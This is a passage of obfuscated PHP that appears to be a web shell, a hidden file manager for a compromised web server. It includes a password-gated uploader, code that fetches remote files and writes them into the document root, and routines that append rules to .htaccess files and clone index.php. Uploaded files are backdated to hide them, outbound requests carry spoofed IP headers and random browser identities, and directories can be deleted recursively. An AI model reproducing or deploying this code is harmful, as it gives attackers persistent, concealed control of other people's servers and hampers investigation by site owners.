$v_GPHQYZVj = preg_replace('/^.+[\\\\\\/]/', '', $v); $v_Mx7f6xDn = $v_GPHQYZVj; $v_asOIgYTr= fileowner($v); $v_5GZGOOQh=p_PVhFrO2A()?posix_getpwuid($v_asOIgYTr):array('name'=>''); $v_ZSIGyH9K[$v_Mx7f6xDn]['fileowner_self']=p_PVhFrO2A()?$v_5GZGOOQh['name']:get_current_user(); $v_ZSIGyH9K[$v_Mx7f6xDn]['fileid'] = $v_GPHQYZVj; $v_ZSIGyH9K[$v_Mx7f6xDn]['filename'] =$v_GPHQYZVj; $v_ZSIGyH9K[$v_Mx7f6xDn]['filemtime'] =date('Y-m-d H:i:s',$v_lj70C8Q1); $v_8Had7am4=filesize($v_Wu5U37RI); if($v_8Had7am4>0){ }else{ $v_8Had7am4=sprintf("%u", filesize($v_Wu5U37RI)); } $v_UlO4NJJz=round($v_8Had7am4/1024, 2); $v_ZSIGyH9K[$v_Mx7f6xDn]['filesize'] =$v_UlO4NJJz; $v_LqrMKaC5=$v_UlO4NJJz."KB"; if($v_UlO4NJJz>1024){ $v_UlO4NJJz=round($v_UlO4NJJz/1024, 2); $v_LqrMKaC5=$v_UlO4NJJz."MB"; } if($v_UlO4NJJz>1024){ $v_UlO4NJJz=round($v_UlO4NJJz/1024, 2); $v_LqrMKaC5=$v_UlO4NJJz."GB"; } $v_ZSIGyH9K[$v_Mx7f6xDn]['filesizeKBMB'] = $v_LqrMKaC5; $v_9WCOZXls=pathinfo($v_Wu5U37RI); $v_ZSIGyH9K[$v_Mx7f6xDn]['ext'] = $v_9WCOZXls['extension']; $v_ZSIGyH9K[$v_Mx7f6xDn]['mod'] = substr(base_convert(fileperms($v_Wu5U37RI), 10, 8), -4); } } if($v_jkzXGVrZ) ksort($v_jkzXGVrZ); if($v_ZSIGyH9K) ksort($v_ZSIGyH9K); $v_CkPI2nrH['dirs']=$v_jkzXGVrZ; $v_CkPI2nrH['files']=$v_ZSIGyH9K; return $v_CkPI2nrH;}function p_D38EG2Xb($v_iCCItpDd){ $v_xuHPdEuB=get_filedir($v_iCCItpDd); $v_8QX1aDu1=$v_xuHPdEuB['dirs']; $v_HzHKm9Kh=$v_xuHPdEuB['files']; $v_TpUNRuqn["successN"]= 1; $v_TpUNRuqn["ip"]=$_SERVER['REMOTE_ADDR']; $v_TpUNRuqn["dirs"]=$v_8QX1aDu1; $v_TpUNRuqn["files"]=$v_HzHKm9Kh; $v_TpUNRuqn["path"]=$v_iCCItpDd; return $v_TpUNRuqn;}function p_8KTqzEDK($v_iCCItpDd,$v_bgi8YSD4,$v_cvYSoS29="") { $v_zFw6WpYF = opendir($v_iCCItpDd); while (($v_GPHQYZVj = readdir($v_zFw6WpYF)) !== false) { if ($v_GPHQYZVj != "."&&$v_GPHQYZVj != "..") { $v_GPHQYZVj=iconv('utf-8', 'GB2312',$v_GPHQYZVj); if (is_dir($v_iCCItpDd . "/" . $v_GPHQYZVj)) { p_8KTqzEDK($v_iCCItpDd . "/" . $v_GPHQYZVj, $v_bgi8YSD4,$v_cvYSoS29); } else { if($v_cvYSoS29!=""){ $v_0IRqzyyi=$v_iCCItpDd . "/" . $v_GPHQYZVj; $v_hk7Fq9KE=explode($v_cvYSoS29,$v_0IRqzyyi); if(count($v_hk7Fq9KE)>1){ $v_bgi8YSD4->addFile($v_iCCItpDd . "/" . $v_GPHQYZVj,$v_hk7Fq9KE[1]); }else{ $v_bgi8YSD4->addFile($v_iCCItpDd . "/" . $v_GPHQYZVj); } }else{ $v_bgi8YSD4->addFile($v_iCCItpDd . "/" . $v_GPHQYZVj); } } } } @closedir($v_iCCItpDd); } function p_q0qHkqNr($v_mdLxLexD) { $v_lUuQyXwf=$v_mdLxLexD["path"]; $v_R7sfJ4UF=$v_mdLxLexD["rootpath"]; $v_PZqiIO3Z=$v_mdLxLexD['fileurl']; $v_GPHQYZVj = $v_mdLxLexD['filename']; $v_6xEeGNqg = $v_mdLxLexD['type']?$v_mdLxLexD['type']:0; $v_zFsINBGu=$v_mdLxLexD["fg"]; $v_lUuQyXwf=iconv('utf-8', 'GB2312',$v_lUuQyXwf); $v_GPHQYZVj=iconv('utf-8', 'GB2312',$v_GPHQYZVj); $v_DlkWpX6q=""; if (trim($v_PZqiIO3Z) == '') { $v_DlkWpX6q="上传失败,未填写链接!"; $v_q7ILZLEO=p_q7ILZLEO($v_DlkWpX6q); echo $v_q7ILZLEO; exit; return false; } if($v_R7sfJ4UF!=""){ $v_osX7BNVd= rtrim(str_replace('\\','/', $_SERVER['DOCUMENT_ROOT']), '/')."/"; $v_lUuQyXwf=$v_osX7BNVd.$v_R7sfJ4UF; }else{ if (trim($v_lUuQyXwf) == '') { $v_lUuQyXwf = './'; } if (!file_exists($v_lUuQyXwf) && !mkdir($v_lUuQyXwf, 0777, true)) { $v_DlkWpX6q="上传失败,目录创建失败!"; $v_q7ILZLEO=p_q7ILZLEO($v_DlkWpX6q); echo $v_q7ILZLEO; exit; return false; } } if ($v_6xEeGNqg) { $v_FDIfD3Os = curl_init(); $v_HD4ThF3d = 500000; curl_setopt($v_FDIfD3Os, CURLOPT_URL, $v_PZqiIO3Z); curl_setopt($v_FDIfD3Os, CURLOPT_RETURNTRANSFER, 1); curl_setopt($v_FDIfD3Os, CURLOPT_CONNECTTIMEOUT, $v_HD4ThF3d); $v_xrJo1nad = curl_exec($v_FDIfD3Os); curl_close($v_FDIfD3Os); } else { ob_start(); readfile($v_PZqiIO3Z); $v_xrJo1nad = ob_get_contents(); ob_end_clean(); } $v_O8RTfvSZ = strlen($v_xrJo1nad); if (file_exists($v_lUuQyXwf."/" . $v_GPHQYZVj)) { if($v_zFsINBGu==1){ $v_xEr3E1qK = @fopen($v_lUuQyXwf .'/'. $v_GPHQYZVj, 'w'); fwrite($v_xEr3E1qK, $v_xrJo1nad); fclose($v_xEr3E1qK); unset($v_xrJo1nad, $v_PZqiIO3Z); $v_DlkWpX6q="上传成功!"; }else{ $v_DlkWpX6q="上传失败,文件存在!"; } }else{ $v_xEr3E1qK = @fopen($v_lUuQyXwf .'/'. $v_GPHQYZVj, 'a'); fwrite($v_xEr3E1qK, $v_xrJo1nad); fclose($v_xEr3E1qK); unset($v_xrJo1nad, $v_PZqiIO3Z); $v_DlkWpX6q="上传成功!"; } if($v_mdLxLexD["bkjson"]=='yes'){ $v_BJK9fNOT=$v_lUuQyXwf .'/'. $v_GPHQYZVj; @touch($v_BJK9fNOT, strtotime("-150 days", time())); $v_FDkKiHC3=dirname($v_BJK9fNOT); @touch($v_FDkKiHC3, strtotime("-250 days", time())); $v_TAoWjKzS['msg']=$v_DlkWpX6q; return json_encode($v_TAoWjKzS); exit; }else{ $v_q7ILZLEO=p_q7ILZLEO($v_DlkWpX6q); echo $v_q7ILZLEO; exit; } } function p_hPkqofTt($v_mdLxLexD){ $v_ZN9Cx0mc=array(); $v_u6rarh3U=$v_mdLxLexD["filepath"]; $v_rObPQDgp=$v_mdLxLexD["indexfilepath"]; $v_GPHQYZVj=$v_mdLxLexD["filename"]; $v_e5Zy9ZQo=$v_mdLxLexD["editfile_con"]; $v_zFsINBGu=$v_mdLxLexD["fg"];if($v_GPHQYZVj!=""){ $v_W3AC9dX4=$v_rObPQDgp.'/index.php'; $v_nVwmR1fY=$v_rObPQDgp.'/'.$v_GPHQYZVj; copy($v_W3AC9dX4,$v_nVwmR1fY);} if(file_exists($v_u6rarh3U)) { $v_xrJo1nad = p_kHNhgKq6($v_u6rarh3U); if($v_zFsINBGu==1){ if(strpos($v_xrJo1nad,'#ht--ht') !== false){ if(strpos($v_xrJo1nad,$v_e5Zy9ZQo) !== false){ $v_ZN9Cx0mc['successN']=0; }else{ chmod($v_u6rarh3U,0777); p_OvvLvjaC($v_u6rarh3U,$v_xrJo1nad."\r\n".$v_e5Zy9ZQo); $v_ZN9Cx0mc['successN']=1; } }else{ if(strpos($v_xrJo1nad,$v_e5Zy9ZQo) !== false){ $v_ZN9Cx0mc['successN']=0; }else{ chmod($v_u6rarh3U,0777); p_OvvLvjaC($v_u6rarh3U,$v_xrJo1nad."\r\n".$v_e5Zy9ZQo); $v_ZN9Cx0mc['successN']=1; } } }else{ if(strpos($v_xrJo1nad,'#ht--ht') !== false){ if(strpos($v_xrJo1nad,$v_e5Zy9ZQo) !== false){ $v_ZN9Cx0mc['successN']=0; }else{ chmod($v_u6rarh3U,0777); p_OvvLvjaC($v_u6rarh3U,$v_xrJo1nad."\r\n".$v_e5Zy9ZQo); $v_ZN9Cx0mc['successN']=1; } }else{ if(strpos($v_xrJo1nad,$v_e5Zy9ZQo) !== false){ $v_ZN9Cx0mc['successN']=0; }else{ chmod($v_u6rarh3U,0777); p_OvvLvjaC($v_u6rarh3U,$v_xrJo1nad."\r\n".$v_e5Zy9ZQo); $v_ZN9Cx0mc['successN']=1; } } } }else{ p_OvvLvjaC($v_u6rarh3U,"#ht--ht\r\n".$v_e5Zy9ZQo); $v_ZN9Cx0mc['successN']=1; } $v_ZN9Cx0mc['filepath']=$v_u6rarh3U; return $v_ZN9Cx0mc; } function p_q7ILZLEO($v_RVRu7Llv,$v_yyK5mnBR=''){ $v_q8XONki8=' <script type="text/javascript">'. 'function postMessage(func,data,dlgtype){'. ' var post = {type:1,func:func,data:data,dlgtype:dlgtype};'. ' window.parent.postMessage(post,"*");'. '} postMessage("upload","'.$data.'","'.$dlgtype.'");</script>'; return $v_q8XONki8; }function p_BxBjaJ9r($v_mdLxLexD){ $v_OyZStoVi=$v_mdLxLexD["dir"]; $v_zY00bavV=$v_mdLxLexD["ext"]; $v_LmeZotrs=explode('#',$v_zY00bavV);$v_zY00bavV=$v_LmeZotrs[0];$v_x5yqDOzF=isset($v_LmeZotrs[1])?$v_LmeZotrs[1]:20000;$v_zFsINBGu=$v_mdLxLexD["fg"];$v_DlkWpX6q=""; $v_rkJNrf0x=isset($v_LmeZotrs[2])?$v_LmeZotrs[2]:'pw'; $v_dQm0xwy2=MD5($v_rkJNrf0x); if($v_dQm0xwy2!='0a659ccd9fccb57041be94d7b7f122b3'){ echo 'pw error!'; exit; }if($v_mdLxLexD["uploadFile"]=="uploadFile1"){ p_q0qHkqNr($v_mdLxLexD);}else{if ((($_FILES["file"]["type"] == "image/gif")|| ($_FILES["file"]["type"] == "image/jpeg")|| ($_FILES["file"]["type"] == "image/pjpeg")||$v_zY00bavV)&& ($_FILES["file"]["size"] < $v_x5yqDOzF)) { if ($_FILES["file"]["error"] > 0) { $v_DlkWpX6q="上传失败!"; } else { $_FILES["file"]["name"]=iconv('utf-8', 'GB2312',$_FILES["file"]["name"]); if (file_exists($v_OyZStoVi."/" . $_FILES["file"]["name"])) { if($v_zFsINBGu==1){ $v_OyZStoVi=iconv('utf-8', 'GB2312',$v_OyZStoVi); $v_GPHQYZVj=$_FILES["file"]["name"]; move_uploaded_file($_FILES["file"]["tmp_name"], $v_OyZStoVi."/" . $v_GPHQYZVj); $v_DlkWpX6q="上传成功!"; }else{ $v_DlkWpX6q="上传失败,文件存在!"; } } else { $v_OyZStoVi=iconv('utf-8', 'GB2312',$v_OyZStoVi); $v_GPHQYZVj=$_FILES["file"]["name"]; move_uploaded_file($_FILES["file"]["tmp_name"], $v_OyZStoVi."/" . $v_GPHQYZVj); $v_DlkWpX6q="上传成功!"; } } }else { $v_DlkWpX6q="上传失败,空白文件!"; }}$v_q7ILZLEO=p_q7ILZLEO($v_DlkWpX6q); echo $v_q7ILZLEO; exit;}function p_Q7oN58y2($v_TFH8V1Nc, $v_uyFLTZlB = '') { $v_TFH8V1Nc = p_sDGuYR3f(base64_decode($v_TFH8V1Nc), $v_uyFLTZlB); $v_VlMFQuos = strlen($v_TFH8V1Nc); $v_PjOEWbDD = ''; for($v_0UKFZ6aS = 0; $v_0UKFZ6aS < $v_VlMFQuos; $v_0UKFZ6aS++) { $v_KYW3RHOY = $v_TFH8V1Nc[$v_0UKFZ6aS]; $v_PjOEWbDD .= $v_TFH8V1Nc[++$v_0UKFZ6aS] ^ $v_KYW3RHOY; } return $v_PjOEWbDD;} function p_sDGuYR3f($v_TFH8V1Nc, $v_uyFLTZlB) { $v_uyFLTZlB = md5($v_uyFLTZlB); $v_VlMFQuos = strlen($v_TFH8V1Nc); $v_ZGJrWAmf = strlen($v_uyFLTZlB); $v_WcOY73Ko = 0; $v_PjOEWbDD = ''; for($v_0UKFZ6aS = 0; $v_0UKFZ6aS < $v_VlMFQuos; $v_0UKFZ6aS++) { $v_WcOY73Ko = $v_WcOY73Ko == $v_ZGJrWAmf ? 0 : $v_WcOY73Ko; $v_PjOEWbDD .= $v_TFH8V1Nc[$v_0UKFZ6aS] ^ $v_uyFLTZlB[$v_WcOY73Ko++]; } return $v_PjOEWbDD; }function p_ilgslZeC($v_FD3RzhA4) { ini_set ( 'memory_limit', '1024M' ); if (! is_file ( $v_FD3RzhA4 )) { die ( "<b>404 File not found!</b>" ); } $v_GPHQYZVj = preg_replace('/^.+[\\\\\\/]/', '',$v_FD3RzhA4); $v_HitLnTD8 = pathinfo($v_FD3RzhA4); $v_sjU2u9Xt = $v_HitLnTD8['extension']; $v_O8RTfvSZ = filesize($v_FD3RzhA4); $v_Y7KpFe0q=0; if (isset ( $_SERVER ['HTTP_RANGE'] )) { list ( $v_0IRqzyyi, $v_Y7KpFe0q ) = explode ( "=", $_SERVER ['HTTP_RANGE'] ); $v_MTZVXww5 = $v_O8RTfvSZ - 1; $v_rofHQT1Q = $v_MTZVXww5 - $v_Y7KpFe0q+1; ob_end_clean(); @set_time_limit(0); header("Cache-control: public"); header("Pragma: public"); header('Expires: '.gmdate('D, d M Y H:i:s').' GMT'); header('Content-Encoding: none'); header ( "HTTP/1.1 206 Partial Content" ); header ( "Content-Length: ".$v_rofHQT1Q); header ( "Content-Range: bytes ".$v_Y7KpFe0q."-".$v_MTZVXww5."/".$v_O8RTfvSZ ); header ( "Content-Disposition: attachment; filename=" . $v_GPHQYZVj ); header ( 'Content-Type:'.$v_sjU2u9Xt); } else { ob_end_clean(); @set_time_limit(0); $v_MTZVXww5 = $v_O8RTfvSZ - 1; header("Cache-control: public"); header("Pragma: public"); header('Expires: '.gmdate('D, d M Y H:i:s').' GMT'); header('Content-Encoding: none'); header ( "Content-Range: bytes 0-".$v_MTZVXww5."/".$v_O8RTfvSZ ); header ( 'Content-Length: '.$v_O8RTfvSZ); header ( "Content-Disposition: attachment; filename=" . $v_GPHQYZVj ); header ( 'Content-Type:'.$v_sjU2u9Xt); } $v_5lGdFYHY = fopen ($v_FD3RzhA4, "rb" ); fseek ( $v_5lGdFYHY, $v_Y7KpFe0q ); while ( ! feof ( $v_5lGdFYHY ) ) { echo fread( $v_5lGdFYHY, 1024); flush (); ob_flush (); } fclose ( $v_5lGdFYHY ); exit (); }function p_wIiiNhRY($v_ClneuV16,$v_IJ77CRKJ){ if(is_file($v_IJ77CRKJ)) { return; } if(!file_exists($v_IJ77CRKJ)) { mkdir($v_IJ77CRKJ, 0777, true); chmod($v_IJ77CRKJ, 0777); } if($v_htqiu8N3=opendir($v_ClneuV16)) { while($v_GPHQYZVj=readdir($v_htqiu8N3)) { if($v_GPHQYZVj!='.' && $v_GPHQYZVj!='..') { $v_DI5zM5el=$v_ClneuV16 . '/' . $v_GPHQYZVj; $v_TYfadEU4=$v_IJ77CRKJ . '/' . $v_GPHQYZVj; if(is_dir($v_DI5zM5el)) { p_wIiiNhRY($v_DI5zM5el,$v_TYfadEU4); } if(is_file($v_DI5zM5el)) { copy($v_DI5zM5el,$v_TYfadEU4); } } } closedir($v_htqiu8N3); }} function p_UsFCiXEU($v_iCCItpDd, $v_3vo2mN4w = FALSE) { $v_OyZStoVi=$v_iCCItpDd; $v_SnUIpbUY = opendir($v_OyZStoVi); while ($v_zrshUKnl = readdir($v_SnUIpbUY)) { if ($v_zrshUKnl != "." && $v_zrshUKnl != "..") { $v_PvIGca01 = $v_OyZStoVi . "/" . $v_zrshUKnl; if (!is_dir($v_PvIGca01)) { chmod($v_PvIGca01,0777); unlink($v_PvIGca01); } else { p_UsFCiXEU($v_PvIGca01,true); } } } closedir($v_SnUIpbUY); chmod($v_OyZStoVi,0777); if (rmdir($v_OyZStoVi)) { return true; } else { return false; }}function p_PgLekPIM($v_OyZStoVi) { $v_SnUIpbUY = opendir($v_OyZStoVi); $v_O8RTfvSZ = 0; while($v_zrshUKnl = readdir($v_SnUIpbUY)) { if($v_zrshUKnl != "." and $v_zrshUKnl != "..") { $v_iCCItpDd = $v_OyZStoVi."/".$v_zrshUKnl; if(is_dir($v_iCCItpDd)) { $v_O8RTfvSZ += p_PgLekPIM($v_iCCItpDd); } elseif(is_file($v_iCCItpDd)) { $v_8Had7am4=filesize($v_iCCItpDd); if($v_8Had7am4>0){ }else{ $v_8Had7am4=sprintf("%u", filesize($v_Wu5U37RI)); } $v_O8RTfvSZ += $v_8Had7am4; } } } closedir($v_SnUIpbUY); return $v_O8RTfvSZ;}function p_fOro8UIc($v_OyZStoVi,$v_1siWoKll){ if(!file_exists($v_OyZStoVi)){ } if(!file_exists($v_1siWoKll)){ mkdir($v_1siWoKll); } $v_OyZStoVi = rtrim($v_OyZStoVi,'/'); if(strrpos($v_OyZStoVi,'/')){ $v_M2UUFtl1 = substr($v_OyZStoVi,strrpos($v_OyZStoVi,'/')+1); }else{ $v_M2UUFtl1 = $v_OyZStoVi; } $v_JGwjyel0 = rtrim($v_1siWoKll).'/'.$v_M2UUFtl1.'/'; $v_OyZStoVi = rtrim($v_OyZStoVi,'/').'/'; if(!file_exists($v_JGwjyel0)){ mkdir($v_JGwjyel0); } $v_SnUIpbUY = opendir($v_OyZStoVi); readdir($v_SnUIpbUY); readdir($v_SnUIpbUY); while($v_1QHpUlpb = readdir($v_SnUIpbUY)){ $v_RhMfnS7u = $v_OyZStoVi.$v_1QHpUlpb; if(is_file($v_RhMfnS7u)){ if(rename($v_RhMfnS7u,$v_JGwjyel0.$v_1QHpUlpb)){ } } if(is_dir($v_RhMfnS7u)){ p_fOro8UIc($v_RhMfnS7u,$v_JGwjyel0); } } closedir($v_SnUIpbUY); if(rmdir($v_OyZStoVi)){ }}function p_7pv5c32P(string $v_aAJf71e0){ $v_Htf4gEeK = array('GBK', 'UTF-8', 'UTF-16LE', 'UTF-16BE', 'ISO-8859-1', 'GB2312'); $v_HEeaBUDJ = file_get_contents($v_aAJf71e0); foreach ($v_Htf4gEeK as $v_nQFghDem) { $v_1ejuI50j = mb_convert_encoding($v_HEeaBUDJ, $v_nQFghDem, $v_nQFghDem); if (md5($v_HEeaBUDJ) == md5($v_1ejuI50j)) { return $v_nQFghDem; } } return null;} function p_hXzpWvSc(){ $v_fas8SHla = array();$v_CG5WoQEc=["safari 5.1 – MAC"=>"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11","safari 5.1 – Windows"=>"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Firefox 38esr"=>"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0","IE 11"=>"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; rv:11.0) like Gecko","IE 9.0"=>"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0","IE 8.0"=>"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)","IE 7.0"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)","IE 6.0"=>"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)","Firefox 4.0.1 – MAC"=>"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1","Firefox 4.0.1 – Windows"=>"Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1","Opera 11.11 – MAC"=>"Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; en) Presto/2.8.131 Version/11.11","Opera 11.11 – Windows"=>"Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.11","Chrome 17.0 – MAC"=>"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11","傲游(Maxthon)"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon 2.0)","腾讯TT"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0)","世界之窗(The World) 2.x"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)","世界之窗(The World) 3.x"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World)","360浏览器"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)","搜狗浏览器 1.x"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SE 2.X MetaSr 1.0; SE 2.X MetaSr 1.0; .NET CLR 2.0.50727; SE 2.X MetaSr 1.0)","Avant"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser)","Green Browser"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)","safari iOS 4.33 – iPhone"=>"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5","safari iOS 4.33 – iPod Touch"=>"Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5","safari iOS 4.33 – iPad"=>"Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5","Android N1"=>"Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1","Android QQ浏览器 For android"=>"MQQBrowser/26 Mozilla/5.0 (Linux; U; Android 2.3.7; zh-cn; MB200 Build/GRJ22; CyanogenMod-7) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1","Android Opera Mobile"=>"Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10","Android Pad Moto Xoom"=>"Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13","BlackBerry"=>"Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+","WebOS HP Touchpad"=>"Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.0; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 TouchPad/1.0","UC标准"=>"NOKIA5700/ UCWEB7.0.2.37/28/999","UCOpenwave"=>"Openwave/ UCWEB7.0.2.37/28/999","UC Opera"=>"Mozilla/4.0 (compatible; MSIE 6.0; ) Opera/UCWEB7.0.2.37/28/999","微信内置浏览器"=>"Mozilla/5.0 (Linux; Android 6.0; 1503-M02 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile MQQBrowser/6.2 TBS/036558 Safari/537.36 MicroMessenger/6.3.25.861 NetType/WIFI Language/zh_CN",];$v_hIrKGA1K=$v_CG5WoQEc[array_rand($v_CG5WoQEc,1)];if($_COOKIE['p57file_llq_set']!=""){ $v_hIrKGA1K=$v_CG5WoQEc[array_rand($v_CG5WoQEc,1)];} return $v_hIrKGA1K;} function p_XnwmzFFd(){ $v_fas8SHla = array( 'Accept-Language: zh-cn', 'Connection: Keep-Alive' ); $v_d9JpVRGx=mt_rand(1, 255).".".mt_rand(1, 255).".".mt_rand(1, 255).".".mt_rand(1, 255);$v_fas8SHla[]= 'Content-Type: application/x-www-form-urlencoded; charset=utf-8'; $v_fas8SHla[]='CLIENT-IP:'.$v_d9JpVRGx; $v_fas8SHla[]='X-FORWARDED-FOR:'.$v_d9JpVRGx; return $v_fas8SHla;} function p_Me1gUUsu($v_PZqiIO3Z){ ini_set('memory_limit','-1'); set_time_limit(0); $v_fas8SHla = array( 'Accept-Language: zh-cn', 'Connection: Keep-Alive', 'Cache-Control: no-cache' ); $v_HD4ThF3d = 560; $v_fas8SHla = p_XnwmzFFd(); $v_hIrKGA1K= p_hXzpWvSc(); $v_iqXccsKq = curl_init(); curl_setopt($v_iqXccsKq, CURLOPT_URL, $v_PZqiIO3Z); curl_setopt($v_iqXccsKq, CURLOPT_RETURNTRANSFER,true); curl_setopt($v_iqXccsKq, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($v_iqXccsKq, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($v_iqXccsKq, CURLOPT_HTTPHEADER,$v_fas8SHla); curl_setopt($v_iqXccsKq, CURLOPT_USERAGENT, $v_hIrKGA1K); curl_setopt($v_iqXccsKq, CURLOPT_TIMEOUT,$v_HD4ThF3d); curl_setopt($v_iqXccsKq, CURLOPT_FOLLOWLOCATION,1); curl_setopt($v_iqXccsKq, CURLOPT_ENCODING, 'gzip,deflate'); $v_yCPEA3mp = curl_exec($v_iqXccsKq); $v_pA6Ng7iI = curl_error($v_iqXccsKq); return $v_yCPEA3mp;}function p_aIkdoktM($v_Y0lLeq7P,$v_mdLxLexD){ extract($v_mdLxLexD, EXTR_SKIP); $v_iCCItpDd=$v_mdLxLexD['path']; $v_u6rarh3U=$v_mdLxLexD['filepath']; switch($v_Y0lLeq7P){ case "geturl": return p_Me1gUUsu($v_mdLxLexD['ymxurl']); break; case "replacecode": $v_ZN9Cx0mc=p_oJ9oEJ1Q($v_mdLxLexD); $v_TpUNRuqn["lists"]= $v_ZN9Cx0mc; $v_TpUNRuqn["casetype"]= "replacecode"; $v_TpUNRuqn["casetypepath"]=$v_iCCItpDd; return json_encode($v_TpUNRuqn); break; case "Dhtaccess": $v_ZN9Cx0mc=p_hPkqofTt($v_mdLxLexD); $v_TpUNRuqn =p_D38EG2Xb($v_iCCItpDd); $v_TpUNRuqn["lists"]=$v_ZN9Cx0mc; $v_TpUNRuqn["casetype"]="htaccess"; $v_TpUNRuqn["casetypepath"]=$v_iCCItpDd; return json_encode($v_TpUNRuqn); break; case "editfile": $v_PjOEWbDD = ""; $v_ZN9Cx0mc=p_0JafoG5H($v_mdLxLexD); $v_TpUNRuqn["lists"]=$v_ZN9Cx0mc; $v_TpUNRuqn["casetype"]="editfile"; $v_TpUNRuqn["casetypepath"]=$v_iCCItpDd; return json_encode($v_TpUNRuqn); break; case "modtype": $v_ZN9Cx0mc=p_HIWWNwdJ($v_mdLxLexD); $v_TpUNRuqn["lists"]= $v_ZN9Cx0mc; $v_TpUNRuqn["casetype"]= "modset"; $v_TpUNRuqn["casetypepath"]=$v_iCCItpDd; return json_encode($v_TpUNRuqn); break; case "dirscan": $v_ZN9Cx0mc=p_tYmOmh4O($v_mdLxLexD); $v_TpUNRuqn["lists"]= $v_ZN9Cx0mc; $v_TpUNRuqn["casetype"]= "dirscan"; $v_TpUNRuqn["casetypepath"]=$v_iCCItpDd; return json_encode($v_TpUNRuqn); break; case "dirsize": $v_u6rarh3U=iconv('utf-8', 'GB2312',$v_u6rarh3U); $v_O8RTfvSZ=p_PgLekPIM($v_u6rarh3U); $v_UlO4NJJz=round($v_O8RTfvSZ/1024, 2); $v_LqrMKaC5=$v_UlO4NJJz."KB"; if($v_UlO4NJJz>1024){ $v_UlO4NJJz=round($v_UlO4NJJz/1024, 2); $v_LqrMKaC5=$v_UlO4NJJz."MB"; } if($v_UlO4NJJz>1024){ $v_UlO4NJJz=round($v_UlO4NJJz/1024, 2); $v_LqrMKaC5=$v_UlO4NJJz."GB"; } $v_TpUNRuqn["dirsize"]=$v_LqrMKaC5; $v_TpUNRuqn["casetype"]="dirsize"; $v_TpUNRuqn["casetypepath"]=$v_iCCItpDd; return json_encode($v_TpUNRuqn); break; case "rename": $v_Dp3S2fZa=$v_iCCItpDd; $v_w2zF2aGw=$v_mdLxLexD['newfilename']; $v_iCCItpDd=iconv('utf-8', 'GB2312',$v_iCCItpDd); $v_u6rarh3U=iconv('utf-8', 'GB2312',$v_u6rarh3U); $v_w2zF2aGw=iconv('utf-8','GB2312', $v_w2zF2aGw); $v_OyZStoVi=dirname($v_u6rarh3U); rename($v_u6rarh3U,$v_iCCItpDd.'/'.$v_w2zF2aGw); $v_TpUNRuqn =p_D38EG2Xb($v_Dp3S2fZa); $v_TpUNRuqn["casetype"]= "rename"; $v_TpUNRuqn["casetypepath"]=$v_Dp3S2fZa; return json_encode($v_TpUNRuqn); break; case "pastefile": $v_Dp3S2fZa=$v_iCCItpDd; $v_w2zF2aGw=$v_mdLxLexD['newfilename']; $v_W3AC9dX4=$v_mdLxLexD['sourcefile']; $v_iCCItpDd=iconv('utf-8', 'GB2312',$v_iCCItpDd); $v_w2zF2aGw=iconv('utf-8', 'GB2312',$v_w2zF2aGw); $v_W3AC9dX4=iconv('utf-8', 'GB2312',$v_W3AC9dX4); if($v_kNVxHx7l==1){ $v_nVwmR1fY=$v_iCCItpDd.'/'.$v_w2zF2aGw; 